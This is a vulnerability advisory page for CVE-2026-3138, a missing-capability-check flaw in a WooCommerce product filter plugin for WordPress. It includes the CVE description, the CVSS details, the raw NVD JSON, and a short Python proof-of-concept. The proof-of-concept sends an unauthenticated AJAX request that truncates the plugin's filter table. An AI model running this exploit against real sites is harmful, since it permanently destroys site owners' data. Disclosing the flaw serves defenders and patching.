Security Vulnerability Report
中文
CVE-2026-3138 CVSS 6.5 MEDIUM

CVE-2026-3138

Published: 2026-03-24 05:16:24
Last Modified: 2026-04-24 16:32:54

Description

The Product Filter for WooCommerce by WBW plugin for WordPress is vulnerable to unauthorized data loss due to a missing capability check in all versions up to, and including, 3.1.2. This is due to the plugin's MVC framework dynamically registering unauthenticated AJAX handlers via `wp_ajax_nopriv_` hooks without verifying user capabilities, combined with the base controller's `__call()` magic method forwarding undefined method calls to the model layer, and the `havePermissions()` method defaulting to `true` when no permissions are explicitly defined. This makes it possible for unauthenticated attackers to truncate the plugin's `wp_wpf_filters` database table via a crafted AJAX request with `action=delete`, permanently destroying all filter configurations.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Product Filter for WooCommerce by WBW <= 3.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Exploit Title: Product Filter for WooCommerce by WBW < 3.1.2 - Unauthenticated Data Loss # Date: 2026-03-24 # Vendor: WBW # Version: <= 3.1.2 import requests def exploit(target): url = f"{target}/wp-admin/admin-ajax.php" # The action parameter triggers the __call magic method pointing to 'delete' data = { "action": "delete" } try: response = requests.post(url, data=data, timeout=10) if response.status_code == 200: print("[+] Request sent. Table wp_wpf_filters may be truncated.") else: print(f"[-] Unexpected status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target_url = "http://example.com" exploit(target_url)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-3138", "sourceIdentifier": "[email protected]", "published": "2026-03-24T05:16:23.727", "lastModified": "2026-04-24T16:32:53.997", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Product Filter for WooCommerce by WBW plugin for WordPress is vulnerable to unauthorized data loss due to a missing capability check in all versions up to, and including, 3.1.2. This is due to the plugin's MVC framework dynamically registering unauthenticated AJAX handlers via `wp_ajax_nopriv_` hooks without verifying user capabilities, combined with the base controller's `__call()` magic method forwarding undefined method calls to the model layer, and the `havePermissions()` method defaulting to `true` when no permissions are explicitly defined. This makes it possible for unauthenticated attackers to truncate the plugin's `wp_wpf_filters` database table via a crafted AJAX request with `action=delete`, permanently destroying all filter configurations."}, {"lang": "es", "value": "El plugin Product Filter for WooCommerce by WBW para WordPress es vulnerable a la pérdida de datos no autorizada debido a una comprobación de capacidad faltante en todas las versiones hasta la 3.1.2, inclusive. Esto se debe a que el framework MVC del plugin registra dinámicamente manejadores AJAX no autenticados a través de hooks 'wp_ajax_nopriv_' sin verificar las capacidades del usuario, combinado con el método mágico '__call()' del controlador base que reenvía llamadas a métodos indefinidos a la capa del modelo, y el método 'havePermissions()' que por defecto es 'true' cuando no se definen permisos explícitamente. Esto hace posible que atacantes no autenticados trunquen la tabla de la base de datos 'wp_wpf_filters' del plugin a través de una solicitud AJAX manipulada con 'action=delete', destruyendo permanentemente todas las configuraciones de filtro."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/woo-product-filter/tags/3.1.0/classes/controller.php#L99", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/woo-product-filter/tags/3.1.0/classes/frame.php#L280", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/woo-product-filter/tags/3.1.0/classes/frame.php#L416", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/woo-product-filter/tags/3.1.0/classes/table.php#L345", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3487143%40woo-product-filter%2Ftrunk&old=3479545%40woo-product-filter%2Ftrunk&sfp_email=&sfph_mail=#file2", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/woo-product-filter/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/085a4fae-c3f4-45f9-ab30-846c6297d04e?source=cve", "source": "[email protected]"}]}}